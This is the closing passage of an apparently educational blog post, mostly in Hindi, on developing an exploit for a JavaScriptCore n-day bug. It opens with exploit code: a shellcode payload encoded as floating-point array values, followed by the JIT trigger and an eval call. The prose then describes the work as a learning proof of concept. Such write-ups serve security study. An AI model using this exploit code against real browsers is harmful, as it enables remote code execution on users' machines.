target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)
अंततः, एक्सप्लॉइट के काम करने का एक वीडियो!
उम्मीद है कि यह दर्शाता है कि आप किसी JSC n-day को कैसे ले सकते हैं और उसके लिए एक एक्सप्लॉइट विकसित कर सकते हैं। मुझे Zeroday Initiative के लेख से लाभ हुआ। हालाँकि मैंने एक्सप्लॉइट लिखते समय इसका उपयोग किया, मैंने केवल मुख्य विचार लेने और लेख को देखे बिना स्वयं कार्यान्वयन करने का प्रयास किया। यह एक्सप्लॉइट केवल एक proof of concept है और उतना मजबूत नहीं है जितना हो सकता था। यद्यपि मुझे कोई असफल प्रयास अनुभव नहीं हुआ, इसे बेहतर बनाने के लिए हमेशा काम किया जा सकता है। चूँकि मैंने इसे एक सीखने के अनुभव के रूप में किया, मैंने एक्सप्लॉइट को जितना संभव हो सके उतना मजबूत बनाने की चिंता नहीं की।